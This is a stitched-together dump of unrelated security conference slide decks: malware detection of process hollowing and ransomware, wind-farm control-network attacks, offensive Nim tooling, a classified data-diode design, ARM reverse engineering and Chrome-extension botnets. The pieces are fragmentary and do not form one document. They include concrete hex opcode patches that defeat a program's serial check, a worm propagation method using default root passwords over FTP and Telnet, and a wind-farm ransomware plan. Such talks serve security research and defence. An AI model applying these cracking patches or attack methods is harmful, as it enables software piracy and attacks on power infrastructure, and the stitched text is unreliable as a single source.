unmapping/hollowing its memory, which can then be replaced with malicious code
•
A victim process can be created with native Windows API calls such as CreateProcess, which includes
a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs
calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned
to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext,
then ResumeThread respectively
• How we collect Process Hollowing samples?
•
APT group samples from MITRE
•
APT group sample variant
• How about Obfuscated & Strip Symbols Hollowing Samples?
https://attack.mitre.org/techniques/T1055/012/
#BHUSA @BlackHatEvents
*Striped* Process Hollowing
#BHUSA @BlackHatEvents
*Striped* Process Hollowing (Cont.)
#BHUSA @BlackHatEvents
*Striped* Process Hollowing (Cont.)
• Experiment
• How we collect Hollowing samples?
•
Time interval: 2022.1.1~Now
•
Filter process
•
Find in VirusTotal, behaviour_injected_processes
•
More than 10 antivirus vendors, and it is Windows executable
•
Using Classic Process Hollowing Definition (based on MITRE) and not packed.
•
Results
•
141 / 233 -> 60.51% of injection samples from VirusTotal should be hollowing.
-> 39.49% Based on manual analysis, verified all these samples were not hollowing samples.
Cheat Engine, x64dbg, Chrome Installer …
#BHUSA @BlackHatEvents
Real World Ransomware Detection
• Basically, ransomware does the following capability
•
Find unfamiliar files (such as FindFirstFile)
•
Read/Write behavior in the same file (such as CreateFile -> ReadFile -> SetFilePointer ->WriteFile)
•
Identify common encrypt function or algorithm (WinCrypt*, AES, ChaCha, RC4…)
• What are our criteria of detection?
• 3 features (file enumeration, file operations, encryption) detected or
• One of the chain
•
File enumeration à Encryption
•
File enumeration & File operations à Encryption
#BHUSA @BlackHatEvents
Real World Ransomware Detection (Cont.)
• Enumerate Files
WannaCry Ransomware sample via IDA Pro
#BHUSA @BlackHatEvents
Real World Ransomware Detection (Cont.)
• Taint file handle generated from CreateFile*
•
Monitor file I/O API usage
#BHUSA @BlackHatEvents
Real World Ransomware Detection (Cont.)
• Encryption in Babuk Ransomware
1.
2.
3.
4.
file_handle_candidate
5.
6.
Store hFile
Load hFile
Load hFile
Load hFile
#BHUSA @BlackHatEvents
Real World Ransomware Detection (Cont.)
• Babuk Ransomware
#BHUSA @BlackHatEvents
Real World Ransomware Detection (Cont.)
• Babuk Ransomware
#BHUSA @BlackHatEvents
Real World Ransomware Detection (Cont.)
• Babuk Ransomware
#BHUSA @BlackHatEvents
Real World Ransomware Detection (Cont.)
• LockBit Ransomware
#BHUSA @BlackHatEvents
Real World Ransomware Detection (Cont.)
• LockBit Ransomware
#BHUSA @BlackHatEvents
Real World Ransomware Detection (Cont.)
• LockBit Ransomware
#BHUSA @BlackHatEvents
Real World Ransomware Detection (Cont.)
• Darkside Ransomware
#BHUSA @BlackHatEvents
Real World Ransomware Detection (Cont.)
• Darkside Ransomware
#BHUSA @BlackHatEvents
Real World Ransomware Detection (Cont.)
• Darkside Ransomware
#BHUSA @BlackHatEvents
Real World Ransomware Detection (Cont.)
• How we improve the detection rate?
•
Darkside
•
Customized Salsa20 matrix and encryption
•
4 rounds of linear shifting
#BHUSA @BlackHatEvents
Real World Ransomware Detection (Cont.)
• How we improve the detection rate?
•
7ev3n
•
R5A Encryption
•
fsopen() from msvcrt
Check if the first byte is ‘M’
Extend stream cipher key from filename
and encrypt the file content
#BHUSA @BlackHatEvents
Real World Ransomware Detection (Cont.)
• Experiment
• How we collect Ransomware samples?
•
Time interval: 2021.06-2022.06
•
Filter process
•
Found in VirusTotal, more than 3 antivirus vendors identify ransomware, and it is Windows executable
•
Automated dynamic analysis (commercial sandbox)
•
Final check samples
•
Get ransomware sample dataset
•
Results
•
1153 / 1206 (95.60%) !!!
#BHUSA @BlackHatEvents
Real World Ransomware Detection (Cont.)
Purge
Seven
Phobos
Lockbit
Agent
Explus
Taleb
Hive
Rents
Medusalocker
Cryptolocker
Makop
Redeemer
Sodinokibi
Garrantycrypt
Tovicrypt
Conti
Crysis
Filecoder
Crypren
Hydracrypt
Avoslocker
Sevencrypt
Crypmod
Sorikrypt
Higuniel
Paradise
Cryptor
Wixawm
Zcrypt
Sodinokib
Xorist
Nemty
Fakeglobe
Emper
Quantumlocker
Blackmatter
Revil
Bastacrypt
Ranzylocker
Avaddon
Netfilm
Wana
Garrantdecrypt
Smar
Akolocker
Cryptlock
Wadhrama
Phoenix
Spora
Babuklocker
Lockergoga
Buhtrap
Ryuk
Nemisis
Netwalker
Deltalocker
Karmalocker
Genasom
Thundercrypt
Wcry
Hkitty
Swrort
Babuk
#BHUSA @BlackHatEvents
Real World Ransomware Detection (Cont.)
• Conti variants
• LockBit variants
Ransom.Win32.CONTI.SM.hp
Ransom.Win32.CONTI.SMTH.hp
Ransom.Win32.CONTI.SMYXBBU
Ransom.Win32.CONTI.SMYXBFD.hp
Ransom.Win32.CONTI.YACCA
Ransom.Win32.CONTI.YXCAAZ
Ransom.Win32.CONTI.YXCBSZ
• 7ev3n variants
Ransom.Win32.LOCKBIT.SMCET
Ransom.Win32.LOCKBIT.SMDS
Ransom.Win32.LOCKBIT.SMYEBGW
Ransom.Win32.LOCKBIT.YXBHC-TH
Ransom_LockBit.R002C0CGI21
Ransom_Lockbit.R002C0DCO22
Ransom_Lockbit.R002C0DHB21
Ransom_Lockbit.R002C0DHD21
Ransom_Seven.R002C0DA422
Ransom_Seven.R002C0DA522
Ransom_Seven.R002C0DA922
Ransom_Seven.R002C0DAA22
Ransom_Seven.R002C0DAF22
Ransom_Seven.R002C0DAP22
Ransom_Seven.R002C0DAR22
Ransom_Seven.R002C0DAS22
Ransom_Seven.R002C0DAT22
Ransom_Seven.R002C0DAV22
Ransom_Seven.R002C0DB122
Ransom_Seven.R002C0DB222
Ransom_Seven.R002C0DB322
Ransom_Seven.R002C0DB822
Ransom_Seven.R002C0DB922
Ransom_Seven.R002C0DBA22
Ransom_Seven.R002C0DBM22
Ransom_Seven.R002C0DC222
Ransom_Seven.R002C0DC922
Ransom_Seven.R002C0DCB22
Ransom_Seven.R002C0DCC22
Ransom_Seven.R002C0DCE22
Ransom_Sodin.R002C0PGM21
Ransom_EMPER.SM
#BHUSA @BlackHatEvents
Real World Ransomware Detection (Cont.)
• For some of undetected samples
•
Prolock / PwndLocker
•
Unknown Encryption Algorithm
CreateFileW
MoveFileW
Customized File Encryption
#BHUSA @BlackHatEvents
Real World Ransomware Detection (Cont.)
• Experiment
•
By randomly finding 200 non-ransom samples from VirusTotal (2021/06/01 - 2022/06/01)
•
False Positive: 0%
#BHUSA @BlackHatEvents
Outline
• Introduction
•
Threat Overview
•
The Difficult Problem of Static/Dynamic Malware Detection and Classification
• Deep Dive into Our Practical Symbolic Engine
•
Related Work
•
Our Practical Symbolic Engine
• Demonstration
•
CRC32 & DLL ReflectiveLoader
•
Process Hollowing
•
Ransomware Detection
• Future Works and Closing Remarks
#BHUSA @BlackHatEvents
Sound Bytes
• In-depth understanding of the limitations and common issues with current static,
dynamic and machine learning detection
• In-depth understanding of why and how we choose symbolic execution and various
auxiliary methods to build symbolic engine and learn how to create the signature to
detect the kinds of attack and technique
• From our demonstration and comparison, learn that our novel method and engine are
indeed superior to the previous methods in terms of accuracy and validity and can be
used in the real world.
• Know the plan about opensource to gather the community power to strength the engine
and signature
#BHUSA @BlackHatEvents
Thanks for Listening
Hank Chen
Sheng-Hao Ma
Mars Cheng
@hank0438
@aaaddress1
@marscheng_
TXOne Networks Inc. | pdf |
Breaking Wind:
Adventures in Hacking
Wind Farm Control Networks
Jason Staggs, Ph.D.
University of Tulsa
Tulsa, Oklahoma
whoami
• Security researcher
– Focus in control systems and network security
• PhD in Computer Science from The University of Tulsa
– Cellular networks, security engineering and forensics
• Presented “How to Hack your Mini Cooper”
– @ DEFCON 21
– CAN bus tricks and message reverse engineering
• I enjoy trying to break things...
– Sometimes I try to fix them
– Sometimes people don’t listen
2
**Disclaimer**
• All affected parties have been notified of identified security
issues that are about to be presented
• I am NOT a power grid engineer!
• Don’t try this at home (without permission)…
3
Why Hack a Wind Farm?
• Wind energy
– Becoming the predominant source of renewable energy
– 4.7% of electricity generated in the United States in 2015
– Contribution expected to climb to 20% by 2030
• Increased reliance on wind energy draws attention to attackers
• Modern wind farms are operated by computers and networks
• What’s the worst that could happen?
– https://www.youtube.com/watch?v=wfzgIxMEo8g
– Mechanical failures can be influenced by targeting insecure control networks!
• But most importantly…
4
To Prevent Attackers from
Turning these Peaceful Systems…
5
Into Targets of Ransomware… or
6
Give me
$$$$$
Into Massive Burning Wastelands…
7
What is a Wind Farm?
• Power plant that converts wind into electricity
• Wind turbines
– Variable power source that generates energy from wind
• Substations
– Collects the energy produced by wind turbines and feeds it
into the power grid
• IEC-61400-* specifications
– Defines design, operations and communications requirements
8
Red Teaming a Wind Farm
Red Teaming at Over 300 Feet…
Wind Turbine Anatomy
11
Nacelle
Turbine
Communications Infrastructure
12
Wind Farm Operations Control Network
13
IEC-61400-25
• Defines uniform communications requirements for wind power
plants
• Support for a handful of protocols
– SOAP-based web services
– OPC XML-DA
– DNP3
– IEC 60870-5-104
– IEC 61850-8-1 MMS
14
What is OPC?
• First released in 1996 with the goal of abstracting PLC specific protocols
into a standardized and generic interface
– (OPC) Object linking and embedding for Process Control
– Different variations have been developed over the years
• OPC UA, OPC XML, OPC XML-DA, etc...
• Used to exchange real-time data, monitoring of alarms/events, and…
set/update control values
• Client/server architecture
– Client = Issues the OPC read/write request message
– Server = Translates request into appropriate field bus command
15
OPC XML-DA Specification
• Uses SOAP messages to exchange data (HTTP, XML)
• OPC XML-DA message services
– Status
– Read
– Write
– Subscription
– Browse
– …
– Get Properties
16
Overview of Vulnerabilities
• Programmable automation controllers (PACs)
– Running legacy operating systems
– Everything running as root!
– Use of insecure remote management services
– Easy to guess or vendor default passwords
– No code signing!
• No authentication or encryption of control messages
• No network segmentation between wind turbines
• Extremely weak physical security
• Exactly what we would expect from an ICS
• And now the fun begins…
Vendor Implementation != Specification
• OPC XML-DA messages are sent in the clear by default!
• Technical specification assumes this…
• Sometimes people don’t follow instructions
• OPC XML-DA spec. overly reliant on the vendor to tack on
additional encryption to secure protocol (e.g., SSL/TLS)
• Fail…
18
OPC-XML-DA Specification –
“security”
19
OPC-XML-DA Specification –
“disable write”
20
Example OPC-XML-DA
Read Request Items
• Wind speed
• Break status
• Rotor pitch angle
• Power production
• Rotor RPM
• Nacelle direction
• Ambient temperature inside nacelle
• Misc. temperatures
– Oil, rotor, generator
• Controller operating status
21
Example OPC-XML-DA
Write Request Commands
• Specifics will vary from vendor to vendor
• Change maximum power generation output
• Wind turbine operating state
– On
– Off
– Idle
– Emergency shutdown (not graceful)
• A.K.A “Hard Stop”
• Induces excessive wear and tear on critical mechanical components!
22
Wind Farm Control Network Access Vectors
• Access can be achieved in a number of ways
– Physical access to remote turbines in the middle of a field
– Physical security mechanisms can be easily defeated with lock picks or bolt cutters
• Attach rogue device to ICS network switch inside the turbine
– Raspberry Pi with cellular or Wi-Fi module for remote out-of-band access
– Boom. You’re in!
23
Windshark
24
Windpoison
25
Building Blocks for Wind Farm
Security Assessment Tools
• Developed wind farm network security assessment tools
– Specifically, to attack IEC-61400-25 protocols and network services
• Command-and-control protocol reverse engineering
– Tcpdump/Wireshark – Static analysis
– Scapy – Dynamic analysis
• Raspberry Pi 3 (Linux)
– Python 2.7
– Bash
– Scapy – for packet manipulation/fabrication
– Nmap – for identifying remote OPC servers (running inside of wind
turbines)
– Iptables – for dropping/forwarding packets
• Wind* suite of tools
26
Windworm
• Targeting programmable automation controllers (PACs)
– Cross-compile malware for embedded platforms (e.g., Windows,
Linux, RTOS)
• Leverage root user accounts with default/weak passwords
• Malware propagation technique
– Malware upload -> FTP
– Malware execution -> Telnet
• Modify critical wind turbine process control variables
– CANopen (object dictionary)
– Layout of a controller Object Dictionary is defined in the vendor
Electronic Data Sheet (EDS)
– Manipulate power generation and motor variables/limits
• Repeat… pwn wind farm
27
Windransom Scenario
• Goal: Paralyze wind farm operations
• Unless ransom is paid
– $$$BTC$$$
• How would this work??
28
How to Ransomware a Wind Farm for Bitcoin?
29
What is the Potential Financial Impact
Due to Wind Farm Downtime?
• Lost revenue to the wind farm energy company?
– Assume 100% dependence on wind energy (no other renewable sources)
– Assume a 35% capacity factor (worst case)
• 250 MW × 365 days × 24 hours × 35% = 766.5 GWh = 766,500 MWh = 766,500,000 kWh
• Example of a ransomware infected wind farm
– 250 MW (max capacity)
– 167 x 1.5 MW wind turbines
– @ $0.12 cents/kWh
30
Downtime (hours)
Cumulative cost of wind farm downtime
1
~ $10,500 (35% capacity) - $30,000 (max capacity)
8
~ $84,000 - $240,000
24 (one day)
~ $252,000 - $720,000
48 (two days)
~ $504,000 - $1,440,000
72 (three days)
~ $756,000 - $2,160,000
168 (one week)
~ $1,764,000 - $5,040,000
336 (two weeks)
~ $3,528,000 - $10,080,000
672 (one month)
~ $7,056,000 - $20,160,000
2016 (three months)
~ $21,168,000 - $60,480,000
Wind Farm Malware Outbreak Recovery?
• How to recover from a large-scale attack?
– Different perspectives on this depending on who you are (e.g., operator and vendor)
– Reimage automation controllers (timely)?
– Replace hardware (costly and timely)?
• How do you know the infection has been fully remediated?
– How confident are you that it won’t reappear?
• In the mean time, the operator is losing out on the ability to
produce electricity
– Which means they’re loosing $$$
31
Key Takeaways and Conclusions
• A call-to-arms for securing wind farm control networks!
• Wind farm control networks are extremely susceptible to
attack
– This is just the tip of the iceberg
• Be proactive
– Don’t wait on vendors to provide “security”
– Verify vendor claims on “security”
– Retrofit security as needed
• Wind turbine network segmentation
– Inline firewalls at each tower
– Encrypted VPN tunnels for each tower
32
Thanks!
• Email: [email protected]
• Github: github.com/packetpiranha
• Twitter: @packetpiranha
33 | pdf |
Nim https://nim-lang.org/
Nim,,js WebAssembly
brew install nim
brew install mingw
nimble install winim
gcl https://github.com/byt3bl33d3r/OffensiveNim
demo
Offensive Nim
Nim
Offensive Nim
Test
minidump_bin
dump
shellcode
shellcode_bin
demo
| pdf |
This Space Intentionally Left Blank
1
Executive Summary
●
Data in the air
–
Snatched by antennas
–
Antennas not protected
–
Antenna Farmers not all spooks
●
Data pushed from antennas to Vault
–
Dropped off onto classified network
–
Data cannot come back up from vault
●
Data packaged and pushed from vault to The Man
–
The Man wants limited reach into his clubhouse
–
Data becomes classified as it mingles with other packets on the
networks
This Space Intentionally Left Blank
2
What Goes Where?
This Space Intentionally Left Blank
3
Problem
●
Antenna Farm administered by Engineers
–
Not all have a “needtoknow” for each apsect of project
–
Antennas in unsecured location
–
Data collects unclassified
●
Collector (Push) system requires integrity
–
System is unclassified
–
Must guarantee it has not been tampered with
–
Access to the console requires physical admittance to vault
●
Data scrubber requires integrity
●
Data scrub box is gateway to classified networks
–
Passes acceptable packets onto network through firewall
–
Logs and drops unacceptable packets
This Space Intentionally Left Blank
4
Requirements
●
Collects need to be as realtime as possible
●
Must ensure that no sensitive data taints the unclass portions
–
Antennas, Push/Packaging system, and internal scrub box are all
unclassified
–
Once collated with other downstream data, the collects become
sensitive by association
●
Only data limited to the collects is allowed to enter the
government network side
●
Did we mention no data driftback is allowed?
–
Government very emphatic on this point
●
System must provide extensive test evidence of proper performance
before allowed initial run
–
Tedious proof of concept scenarios completed and documented
This Space Intentionally Left Blank
5
Solve The Issues
●
Not all involved cleared for access to highest level of data
–
Keep uncleared and DoD personnel out of the vault
–
Ensure data flows in one direction only
●
Ensure no data tainting takes place on UNCLASSIFIED systems
–
Oneway fiber link between antennas/collect system and packager
–
Inline_Snort system between push system and classified network
●
Ensure integrity of packaging system
–
Only accept data from one MAC address on one interface
–
Limit number of accounts on system
–
Highly regulate and document all configuration changes
●
Ensure integrity of packet scrubber
–
No IP stack in the operating kernel
This Space Intentionally Left Blank
6
Solve The Issues (Cont'd)
●
Limit data entering the farend network to project data only
–
Scrubber ruleset severely limits what passes through
–
Firewall rules further filter what travels to farend
This Space Intentionally Left Blank
7
Data Flow Mitigations
●
Signal Of Interest intercepted by Antennas
●
Antennas' collection system passes the data down to the bespoke
data packaging application via oneway fiber transmission
–
Ethernet to Fiber transceivers used with only the receive side
connected
–
Beyond this segment of the hardware requires
● Intel clearances
● Physical access to the vault
●
Package system crafts custom udp packet and passes it along
–
Inserts a numeric code in unused header segment???
–
Ensures data is uncorrupted and packages it for transport
–
Hands packets off to external interface of Inline_Snort system
via crossover ethernet cable
This Space Intentionally Left Blank
8
Data Flow (Continued)
●
Packet scrubber decides whether or not to pass data onwards
–
Looks over header for numeric trigger
–
If trigger present data is passed out the other interface
–
If trigger not present packet is logged and dropped
●
Firewall passes data only from classified scrubber interface over
to government analysis station at far end
–
MAC filtering used to lower spoofing issues
–
Ruleset only passes data from Scrubber MAC to farend analysis
console
–
All other data logged and dropped by firewall
This Space Intentionally Left Blank
9
Testing & Documentation
●
Concept of Operations Plan required for approval prior to
everything
●
Once ConOps approved, Government wanted a Test Plan submitted
●
After Test Plan approved, Government attended test run of system
without farend connectivity
–
Send unacceptable packet from foreign system to packager
● Document rejection
–
Send unacceptable packet to scrubber
● Document log and reject
–
Send packet back from farend back to UNCLASSIFIED side
● Document packet scrubber log and reject
–
Document firewall refusal to communicate with other systems
●
Results written up/submitted for final approval of live run
This Space Intentionally Left Blank
10
Credits
●
Images
–
Boognish: © Ween <http://www.ween.com/>
–
The Man: © Kristen Ankiewicz <http://www.monsters.net/>
●
OSS
–
Snort_Inline – Rob McMillen (Jed Haille introduced me to it.)
●
<http://snortinline.sourceforge.net/>
–
Iptables/Netfilter – Harald Welte, Rusty Russell & The Netfilter Team
●
<http://www.netfilter.org/> | pdf |
Who am I and what am I doing?
• Airscanner.com
– Mobile Security (AV, firewall, sniffer)
• Dissemination of Information
– Reverse-engineering is a tool…not a weapon
– Knowing your computer
– Don’t steal…pay the programmers
Legal Issues
•
Laws
–No person shall circumvent a technological measure
that effectively controls access to a work protected under
this title.
–to ''circumvent a technological measure'' means to
descramble a scrambled work, to decrypt an encrypted
work, or otherwise to avoid, bypass, remove, deactivate,
or impair a technological measure, without the authority
of the copyright owner;
•
Encryption Research & Security Testing
–identify and analyze flaws and vulnerabilities of
encryption technologies applied to copyrighted works
–accessing a …computer system…solely for the purpose
of …investigating… a security flaw or vulnerability…
Windows CE Architecture
• Processors
– Power&Processing = Heat
– Reduced Instruction Set Computer (RISC)
• ARM (1987): StrongARM, Xscale
• WinCE, ARM Linux, EPOC
• Intel bought DEC (StrongARM)
– Larger Cache
– Dynamic Voltage
– StrongARM 2.5 million transistors / Xscale 5
million
– Lower power usage at higher speed
Architecture Cont. – Kernel/Process
• Kernel
– Reduced Windows 2000 (No 16 bit or MS-DOS)
– Core DLL issues
– DLLs are run from ROM
• Can’t break a program when its executing DLL code
• Processes (32) with dedicated 32MB/Process
– 512x64k memory blocks, 16 registers per thread
– Kernel (OS) & User (3rd party programs) Mode
– Processes are isolated but threads share data
Architecture Cont. – Memory
• Memory
– RAM (Program & Objects)
• Lose power - lose programs and objects (files)
– ROM
• Store OS files
• Compression
• eXecute In Place – Save memory (No Compression)
– Object Store (Files)
• Registry: Configuration settings
• Programs: Compressed area for 3rd party programs
• Databases: Structured storage
Architecture Cont. – GWES/Scheduler
• Graphics, Windowing and Event
Subsystem
– Handles all messaging
– Your friend (Popups)
– PostMessage, SendMessage,
SendThreadMessage
• Scheduler
– Multitasking
– Assigns processor time at thread level
Reverse Engineering Fundamentals
• Prerequisites
– ASM (concept)
– Hex to Binary to ASCII to Decimal
– ARM Processor
• Registers
• Opcodes
ASCII
D
E
F
C
O
N
HEX
44
45
46
43
4F
4E
Decimal
068
069
070
067
079
078
Binary
01000100
01000101
01000110
01000011
01001111
01001110
ARM Registers
• Registers
– 37 Total @ 32 bit each
– Register purpose changes depending on mode
– R0 – R14 + PC(R15)
– R15(PC): Program Counter – Current address of
execution
– R14: Link Register (LR) – Hold sub routine return
address.
– R13: Stack Pointer (SP)
– Status (NZCO)
• R31: Negative / Less Than
• R30: Zero (Equal)
• R29: Carry / Borrow / Extend
• R28: Overflow
ARM Registers
ARM Opcodes – MOV, CMP
• Move (MOV) – XX XX A0 EX
– MOV R3, R1:
01 30 A0 E1
– MOV R2, #1:
01 20 A0 E3
• Compare (CMP) – XX XX 5X EX
– CMP
R2, R3:
03 00 52 E1
– CMP R4, #1:
01 00 54 E3
ARM Status Flags
• Status Flags
– CMP R0, R1
– MOVS R0, R1 / ANDS R0, R1, 0xFF
N
Z
C
R0 >= R10
R0=R11
R0>=R11
N
Z
C
R1 < 0 1
R1 = 0 1
Pass through
•HI: C set and Z clear unsigned
higher
•LS: C clear or Z set unsigned
lower or same
•GE: N equals V greater or equal
•LT: N not equal to V less than
•GT: Z clear AND (N equals V)
greater than
•LE: Z set OR (N not equal to V)
less than or equal
•AL: (ignored) always
•EQ: Z set equal
•NE: Z clear not equal
•CS: C set unsigned higher or
same
•CC: C clear unsigned lower
•MI: N set negative
•PL: N clear positive or zero
•VS: V set overflow
•VC: V clear no overflow
ARM Status Flags
ARM Opcodes – B, BL
• Branch (B) - XX XX XX EA
– BEQ: If Z = 1 (XX XX XX 0A)
– BNE: If Z = 0 (XX XX XX 1A)
– BMI: If N = 1 (XX XX XX 4A)
• Branch Link (BL) - XX XX XX EB
– BLEQ: If Z = 1 (XX XX XX 0B)
– BLNE: If Z = 0 (XX XX XX 1B)
ARM Opcodes – LDR / STR
• Load Register (LDR) / Store Register (STR)
– STR R1, [R4, R6]
Store R1 in R4+R6
– STR R1, [R4,R6]!
Store R1 in R4+R6 and
write the address in R4
– STR R1, [R4], R6
Store R1 at R4 and write
back R4+R6 to R4
– STR R1, [R4, R6, LSL#2]
Store R1 in R4+R6*2
(LSL discussed next)
– LDR R1, [R2, #12]
Load R1 with value at
R2+12.
– LDR R1, [R2, R4, R6]
Load R1 with
R2+R4+R6
• LDM/STM
– STMFD SP!, {R4,R5,LR}
– LDMFD SP!, {R4,R5,LR}
• LSR: Logical Shift Right – Shift the 32 bit
values right by x number of places, using zeros to fill in the
empty spots.
• LSL: Logical Shift Left – Shift the 32 bit values
left by x number of places, using zeros to fill in the empty spots.
Shifting
48
110000
Rsl #1 (2)
11000
27
48
110000
Rsl #2 (4)
1100
12
48
110000
Rsl #3 (9)
110
6
48
110000
Rsl #4 (16)
11
3
3
0011
Lsl #1 (2)
0110
6
3
0011
Lsl #2 (4)
1100
12
3
0011
Lsl #3 (9)
11000
27
3
0011
Lsl #4 (16)
110000
48
Reverse-engineering Tools
• Hex Editor
– Needed to make changes to program files
– UltraEdit32
• Disassembler
– Converts program file into ASM code
– IDA Pro
• Debugger
– USB connection SLOW! (Pocket Hosts + W/LAN)
– Allows real time execution and walk through of code
– Microsoft eMbedded Visual C++ 3.0
Practical RVE - Entry
• Load it in Disassembler
• Locate Needed Files!
• Note Names of Functions
– LoadStringW
– MessageBoxW
– wcscmp
– wcslen
Practical RVE – Locate Example
Practical RVE – Locating Weakness
Practical RVE – The Code
Practical RVE – The Code II
1.
LDR R1, =unk_131A4
2.
ADD R0, SP, #0xC
3.
BL CString::operator=(us)
4.
LDR R1, =unk_131B0
5.
ADD R0, SP, #8
6.
BL CString::operator=(us)
7.
LDR R1, =unk_131E0
8.
ADD R0, SP, #4
9.
BL CString::operator=(us)
10.
LDR R1, =unk_1321C
11.
ADD R0, SP, #0
12.
BL CString::operator=(us)
13.
MOV R1, #1
14.
MOV R0, R4
15.
BL CWnd::UpdateData(int)
16.
LDR R1, [R4,#0x7C]
17.
LDR R0, [R1,#-8]
18. CMP
R0, #8
19. BLT
loc_112E4
20. BGT
loc_112E4
21. LDR
R0, [SP,#0xC]
22. BL
wcscmp
23. MOV
R2, #0
24. MOVS
R3, R0
25. MOV
R0, #1
26. MOVNE
R0, #0
27. ANDS
R3, R0, #0xFF
28. LDRNE
R1, [SP,#8]
29. MOV
R0, R4
30. MOV
R3, #0
31. BNE
loc_112F4
32. LDR
R1, [SP,#4]
33. B
loc_112F4
Practical RVE – The Code III
• IDA Pro < 4.5
– IDT files to convert function calls
– http://www.dataworm.net/reverse/
• Load serial from program into memory
– Typically serial is encrypted or dynamic
– Most serial protection is useless
• Load two error messages into memory
• Load success messages into memory
• Get entered serial number
• Start validation check!
Practical RVE – The Debugger
• Load file
– Copy PPC file to PC
– Open PC file
– Alter settings to copy it to PPC
– Hit F11 to load
– Set BREAKPOINTS
• Use disassembler to determine BP value
• 0001127C EVC 0x##01127C
• BP value will change based on programs location in RAM
Practical RVE – Program Walkthrough
1. Compare length
2. Branch depending on results
•
If length = 8 continue else jump to message
3. Compare serials
•
wcscmp returns 0 if false or 1 if true
4. Check results
•
Use AND calc to update status flag (Zero)
•
TRUE and TRUE = TRUE
5. Output message
1
1
0
1
0
0
1
0
0
Practical RVE – The ‘Cracks’ PI
• Crack 1: Slight of Hand
– CMP R0, #8
• Compares two values
• Updates status flags
– Z=1 (True): Correct length
– Z=0 (False): Incorrect Length
• Alter it to make it always True
CMP R0, #8 CMP R0, R0
Practical RVE – The ‘Cracks’ PI…
• Crack 1: Slight of Hand Cont.
– MOVNE R0, #0
• MOVS R3, R0
• Moves 0 into R0 if Z = 0 else R0 remains 1
• Alter it to make it update to 1
MOVNE R0, #0 MOVNE R0, #1
Practical RVE – The ‘Cracks’ PI…
• Update Hex Value
– Determine address from IDA
– Open local file in Hex editor
– Use address to locate point in code
– Deduce the required change
– Update Hex code
– Save file and upload to PPC
IDA Addr
Hex Addr
Orig
Opcode
Org Hex
New
Opcode
New Hex
0x11294
0x694
Cmp r0, #8
08 00 50 E3
Cmp r0, r0
00 00 50 E1
0x112B4
0x6B4
Monve r0,
#0
00 00 A0 13
Movne r0,
#1
01 00 A0 13
Practical RVE – The ‘Cracks’ PII
• Crack 2: The Slide
– CMP R0, #8 Fails then Status flags are set.
– BLT loc_112E4
– BGT loc_112E4
– Remove these lines
– NOP Slide
• Use in buffer overflow attacks
• Handy for a space filler and to remove other values
BLT loc_112E4 NOP
BGT loc_112E4 NOP
Practical RVE – The ‘Cracks’ PII…
• Crack 2: The Slide Cont.
– The Traditional 90
• Doesn’t work! UMULLLSS R9, R0, R0, R0
• Unsigned Multiple Long if LS and update status flags
– MOV R1, R1
• Virtual NOP
– Still have to patch actual serial check
IDA Addr
Hex Addr
Orig Opcode
Org Hex
New Opcode
New Hex
0x11298
0x1129C
0x698
0x69C
BLT & BGT
loc_112E4
11 00 00 BA
10 00 00 CA
Mov r1, r1
Mov r1, r1
01 10 A0 E1
01 10 A0 E1
0x112B4
0x6B4
Movne r0, #0
00 00 A0 13
Movne r0, #1
01 00 A0 13
Practical RVE – The ‘Cracks’ PIII
• Crack 3: Preventative Maintenance
– 0x1128C sets R1 = entered serial
– If R0 can be set to correct serial, why not R1?
– Prevent a problem before it becomes one
IDA Addr
Hex Addr
Orig
Opcode
Org Hex
New Opcode
New Hex
0x1128C
0x68C
LDR R1,
[R4,
#0x7C]
7C 10 94 E5
LDR R1,
[SP,#0xC]
0C 10 9D
E5
The Real Code
strSerial="12345678";
strValid="Correct serial number. Thanks for registering.";
strInvalid="Incorrect serial number. Please contact technical support.";
strToShort="Incorrect serial number. Please verify it was typed it correctly.";
UpdateData(TRUE);
if ((m_Serial.GetLength() < 8) || (m_Serial.GetLength() > 8)){
MessageBox(strToShort);
}else{
if (strSerial == m_Serial){
MessageBox(strValid);
}else{
MessageBox(strInvalid);
}}}
Summary
• Tools
– Disassembler
– Debugger
– Hex Editor
• ARM Processor
– Opcodes
– Registers
• Reverse it
– Locate weakness
– Watch execution
– Patch it
References
• www.ka0s.net
• www.dataworm.net
• http://www.eecs.umich.edu/speech/docs/arm/ARM7TDMIvE.pdf
• http://www.ra.informatik.uni-
stuttgart.de/~ghermanv/Lehre/SOC02/ARM_Presentation.pdf
• class.et.byu.edu/eet441/notes/arminst.ppt
• http://www.ngine.de/gbadoc/armref.pdf
• http://wheelie.tees.ac.uk/users/a.clements/ARMinfo/ARMnote.htm
• http://www3.mb.sympatico.ca/~reimann/andrew/asm/armref.pdf
• www.arm.com
• www.airscanner.com | pdf |
Game of Chromes
Owning the Web with Zombie Chrome Extensions
Tomer Cohen
April 2016
Sign-up Graph
1000
RPM
9000
RPM
This is what we currently know…
10 Sec
Attack Page
Attack Page
Google Web Store
Extension
Course of Action
Inject Code
Into Facebook tabs
Open Wix Frame
Transparently inside a Facebook page
Sign Up to Wix
Bypassing bot detection
/register
/register
Extension
Course
of Action
Inject Code
Into Facebook tabs
Open Wix Frame
Inside a Facebook page
Sign Up to Wix
Bypassing bot detection
Publish Wix Website
That leads to attack page
Distribute Link
Among all Facebook friends
Review Extension
In Google Web Store
The objective:
Use Wix as a distributor
to form a bot net
Bot Masters:
What Do They Want?
Send Spam
DDoS Attacks
Scrape Websites
Click Frauds
June 2016
April 2016
API
Tag Me If You Can
User Click
Facebook Friends
Extension
New Payload
Instance
This Magical Bot…
What makes a good bot
Blacklists
Cookies & Flow Control
Mouse Movement
Javascript Challenges
Goal: Look Human
Browser Extension:
The Perfect Bot
{
"update_url": "https://clients2.google.com/
service/update2/crx",
"background": {
"scripts": [
"view.js"
]
},
"browser_action": {
"default_icon": "viadeo.png",
"default_popup": "index.html"
},
"content_scripts": [
{
"js": [
"jquery.js",
"crack.js"
],
"matches": [
"*://*.viadeo.com/*"
]
}
],
What An Extension Can Do
"description": "Permet de profiter des avantages d'un compte vi
"icons": {
"128": "viadeo.png",
"16": "viadeo.png",
"48": "viadeo.png"
},
"manifest_version": 2,
"name": "Viad30 Unlocker",
"permissions": [
"tabs",
"*://*.viadeo.com/",
"storage",
"webNavigation",
"http://*/*",
"https://*/*",
"cookies",
"webRequest",
"webRequestBlocking"
],
"version": "3.4",
"content_security_policy": "script-src 'self' 'unsafe-eval'; ob
}
Extension Manifest
Use a copy
of an existing
extension
Cross-origin
request ability
Background
script
Snatch user
